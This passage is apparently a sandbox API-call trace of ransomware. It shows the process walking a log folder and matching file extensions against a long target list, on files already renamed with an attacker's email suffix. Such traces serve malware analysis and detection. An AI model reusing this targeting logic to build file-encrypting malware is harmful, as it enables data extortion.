	[0165.182] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0165.183] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.183] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031d0cb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8031d0cb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80343360, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DOWNLE~1.HTM")) returned 1
	[0165.183] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html") returned 77
	[0165.183] lstrlenW (lpString=".1cd") returned 4
	[0165.183] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.183] lstrlenW (lpString=".3ds") returned 4
	[0165.183] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.183] lstrlenW (lpString=".3fr") returned 4
	[0165.183] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.183] lstrlenW (lpString=".3g2") returned 4
	[0165.183] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.183] lstrlenW (lpString=".3gp") returned 4
	[0165.183] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.183] lstrlenW (lpString=".7z") returned 3
	[0165.183] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.183] lstrlenW (lpString=".accda") returned 6
	[0165.184] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.184] lstrlenW (lpString=".accdb") returned 6
	[0165.184] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.184] lstrlenW (lpString=".accdc") returned 6
	[0165.184] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.184] lstrlenW (lpString=".accde") returned 6
	[0165.184] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.184] lstrlenW (lpString=".accdt") returned 6
	[0165.184] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.184] lstrlenW (lpString=".accdw") returned 6
	[0165.184] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.184] lstrlenW (lpString=".adb") returned 4
	[0165.184] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".adp") returned 4
	[0165.184] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".ai") returned 3
	[0165.184] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.184] lstrlenW (lpString=".ai3") returned 4
	[0165.184] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".ai4") returned 4
	[0165.184] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".ai5") returned 4
	[0165.184] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".ai6") returned 4
	[0165.184] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".ai7") returned 4
	[0165.184] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".ai8") returned 4
	[0165.184] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.184] lstrlenW (lpString=".anim") returned 5
	[0165.184] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.184] lstrlenW (lpString=".arw") returned 4
	[0165.185] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".as") returned 3
	[0165.185] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.185] lstrlenW (lpString=".asa") returned 4
	[0165.185] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".asc") returned 4
	[0165.185] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".ascx") returned 5
	[0165.185] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.185] lstrlenW (lpString=".asm") returned 4
	[0165.185] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".asmx") returned 5
	[0165.185] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.185] lstrlenW (lpString=".asp") returned 4
	[0165.185] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".aspx") returned 5
	[0165.185] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.185] lstrlenW (lpString=".asr") returned 4
	[0165.185] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".asx") returned 4
	[0165.185] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".avi") returned 4
	[0165.185] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".avs") returned 4
	[0165.185] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".backup") returned 7
	[0165.185] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.185] lstrlenW (lpString=".bak") returned 4
	[0165.185] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".bay") returned 4
	[0165.185] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.185] lstrlenW (lpString=".bd") returned 3
	[0165.186] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.186] lstrlenW (lpString=".bin") returned 4
	[0165.186] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".bmp") returned 4
	[0165.186] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".bz2") returned 4
	[0165.186] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".c") returned 2
	[0165.186] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.186] lstrlenW (lpString=".cdr") returned 4
	[0165.186] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".cer") returned 4
	[0165.186] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".cf") returned 3
	[0165.186] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.186] lstrlenW (lpString=".cfc") returned 4
	[0165.186] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".cfm") returned 4
	[0165.186] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".cfml") returned 5
	[0165.186] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.186] lstrlenW (lpString=".cfu") returned 4
	[0165.186] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".chm") returned 4
	[0165.186] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".cin") returned 4
	[0165.186] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".class") returned 6
	[0165.186] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.186] lstrlenW (lpString=".clx") returned 4
	[0165.186] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.186] lstrlenW (lpString=".config") returned 7
	[0165.186] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.187] lstrlenW (lpString=".cpp") returned 4
	[0165.187] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".cr2") returned 4
	[0165.187] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".crt") returned 4
	[0165.187] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".crw") returned 4
	[0165.187] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".cs") returned 3
	[0165.187] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.187] lstrlenW (lpString=".css") returned 4
	[0165.187] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".csv") returned 4
	[0165.187] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".cub") returned 4
	[0165.187] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".dae") returned 4
	[0165.187] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".dat") returned 4
	[0165.187] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".db") returned 3
	[0165.187] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.187] lstrlenW (lpString=".dbf") returned 4
	[0165.187] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".dbx") returned 4
	[0165.187] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".dc3") returned 4
	[0165.187] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".dcm") returned 4
	[0165.187] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.187] lstrlenW (lpString=".dcr") returned 4
	[0165.187] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".der") returned 4
	[0165.188] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".dib") returned 4
	[0165.188] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".dic") returned 4
	[0165.188] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".dif") returned 4
	[0165.188] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".divx") returned 5
	[0165.188] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.188] lstrlenW (lpString=".djvu") returned 5
	[0165.188] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.188] lstrlenW (lpString=".dng") returned 4
	[0165.188] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".doc") returned 4
	[0165.188] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".docm") returned 5
	[0165.188] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.188] lstrlenW (lpString=".docx") returned 5
	[0165.188] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.188] lstrlenW (lpString=".dot") returned 4
	[0165.188] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".dotm") returned 5
	[0165.188] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.188] lstrlenW (lpString=".dotx") returned 5
	[0165.188] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.188] lstrlenW (lpString=".dpx") returned 4
	[0165.188] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".dqy") returned 4
	[0165.188] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.188] lstrlenW (lpString=".dsn") returned 4
	[0165.189] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".dt") returned 3
	[0165.189] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.189] lstrlenW (lpString=".dtd") returned 4
	[0165.189] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".dwg") returned 4
	[0165.189] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".dwt") returned 4
	[0165.189] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".dx") returned 3
	[0165.189] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.189] lstrlenW (lpString=".dxf") returned 4
	[0165.189] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".edml") returned 5
	[0165.189] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.189] lstrlenW (lpString=".efd") returned 4
	[0165.189] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".elf") returned 4
	[0165.189] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".emf") returned 4
	[0165.189] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".emz") returned 4
	[0165.189] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".epf") returned 4
	[0165.189] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".eps") returned 4
	[0165.189] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.189] lstrlenW (lpString=".epsf") returned 5
	[0165.189] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.189] lstrlenW (lpString=".epsp") returned 5
	[0165.189] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.189] lstrlenW (lpString=".erf") returned 4
	[0165.190] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".exr") returned 4
	[0165.190] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".f4v") returned 4
	[0165.190] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".fido") returned 5
	[0165.190] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.190] lstrlenW (lpString=".flm") returned 4
	[0165.190] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".flv") returned 4
	[0165.190] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".frm") returned 4
	[0165.190] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".fxg") returned 4
	[0165.190] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".geo") returned 4
	[0165.190] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".gif") returned 4
	[0165.190] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".grs") returned 4
	[0165.190] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".gz") returned 3
	[0165.190] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.190] lstrlenW (lpString=".h") returned 2
	[0165.190] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.190] lstrlenW (lpString=".hdr") returned 4
	[0165.190] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".hpp") returned 4
	[0165.190] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".hta") returned 4
	[0165.190] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.190] lstrlenW (lpString=".htc") returned 4
	[0165.191] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".htm") returned 4
	[0165.191] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".html") returned 5
	[0165.191] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.191] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html") returned 77
	[0165.191] lstrlenW (lpString=".html") returned 5
	[0165.191] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.191] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803696f3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OOBE_2~1.HTM")) returned 1
	[0165.191] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html") returned 72
	[0165.191] lstrlenW (lpString=".1cd") returned 4
	[0165.191] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".3ds") returned 4
	[0165.191] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".3fr") returned 4
	[0165.191] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".3g2") returned 4
	[0165.191] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".3gp") returned 4
	[0165.191] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.191] lstrlenW (lpString=".7z") returned 3
	[0165.191] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.191] lstrlenW (lpString=".accda") returned 6
	[0165.191] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.191] lstrlenW (lpString=".accdb") returned 6
	[0165.191] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.191] lstrlenW (lpString=".accdc") returned 6
	[0165.191] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.191] lstrlenW (lpString=".accde") returned 6
	[0165.191] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.191] lstrlenW (lpString=".accdt") returned 6
	[0165.191] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.192] lstrlenW (lpString=".accdw") returned 6
	[0165.192] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.192] lstrlenW (lpString=".adb") returned 4
	[0165.192] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".adp") returned 4
	[0165.192] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ai") returned 3
	[0165.192] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.192] lstrlenW (lpString=".ai3") returned 4
	[0165.192] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ai4") returned 4
	[0165.192] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ai5") returned 4
	[0165.192] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ai6") returned 4
	[0165.192] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ai7") returned 4
	[0165.192] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ai8") returned 4
	[0165.192] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".anim") returned 5
	[0165.192] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.192] lstrlenW (lpString=".arw") returned 4
	[0165.192] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".as") returned 3
	[0165.192] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.192] lstrlenW (lpString=".asa") returned 4
	[0165.192] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".asc") returned 4
	[0165.192] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.192] lstrlenW (lpString=".ascx") returned 5
	[0165.192] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.193] lstrlenW (lpString=".asm") returned 4
	[0165.193] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".asmx") returned 5
	[0165.193] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.193] lstrlenW (lpString=".asp") returned 4
	[0165.193] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".aspx") returned 5
	[0165.193] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.193] lstrlenW (lpString=".asr") returned 4
	[0165.193] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".asx") returned 4
	[0165.193] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".avi") returned 4
	[0165.193] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".avs") returned 4
	[0165.193] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".backup") returned 7
	[0165.193] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.193] lstrlenW (lpString=".bak") returned 4
	[0165.193] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".bay") returned 4
	[0165.193] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".bd") returned 3
	[0165.193] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.193] lstrlenW (lpString=".bin") returned 4
	[0165.193] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".bmp") returned 4
	[0165.193] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".bz2") returned 4
	[0165.193] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.193] lstrlenW (lpString=".c") returned 2
	[0165.193] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.193] lstrlenW (lpString=".cdr") returned 4
	[0165.194] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cer") returned 4
	[0165.194] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cf") returned 3
	[0165.194] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.194] lstrlenW (lpString=".cfc") returned 4
	[0165.194] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cfm") returned 4
	[0165.194] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cfml") returned 5
	[0165.194] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.194] lstrlenW (lpString=".cfu") returned 4
	[0165.194] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".chm") returned 4
	[0165.194] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cin") returned 4
	[0165.194] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".class") returned 6
	[0165.194] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.194] lstrlenW (lpString=".clx") returned 4
	[0165.194] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".config") returned 7
	[0165.194] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.194] lstrlenW (lpString=".cpp") returned 4
	[0165.194] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cr2") returned 4
	[0165.194] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".crt") returned 4
	[0165.194] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".crw") returned 4
	[0165.194] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.194] lstrlenW (lpString=".cs") returned 3
	[0165.194] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.194] lstrlenW (lpString=".css") returned 4
	[0165.195] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".csv") returned 4
	[0165.195] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".cub") returned 4
	[0165.195] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dae") returned 4
	[0165.195] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dat") returned 4
	[0165.195] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".db") returned 3
	[0165.195] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.195] lstrlenW (lpString=".dbf") returned 4
	[0165.195] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dbx") returned 4
	[0165.195] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dc3") returned 4
	[0165.195] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dcm") returned 4
	[0165.195] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dcr") returned 4
	[0165.195] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".der") returned 4
	[0165.195] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dib") returned 4
	[0165.195] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dic") returned 4
	[0165.195] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".dif") returned 4
	[0165.195] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.195] lstrlenW (lpString=".divx") returned 5
	[0165.195] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.195] lstrlenW (lpString=".djvu") returned 5
	[0165.195] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.195] lstrlenW (lpString=".dng") returned 4
	[0165.196] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".doc") returned 4
	[0165.196] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".docm") returned 5
	[0165.196] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.196] lstrlenW (lpString=".docx") returned 5
	[0165.196] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.196] lstrlenW (lpString=".dot") returned 4
	[0165.196] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dotm") returned 5
	[0165.196] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.196] lstrlenW (lpString=".dotx") returned 5
	[0165.196] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.196] lstrlenW (lpString=".dpx") returned 4
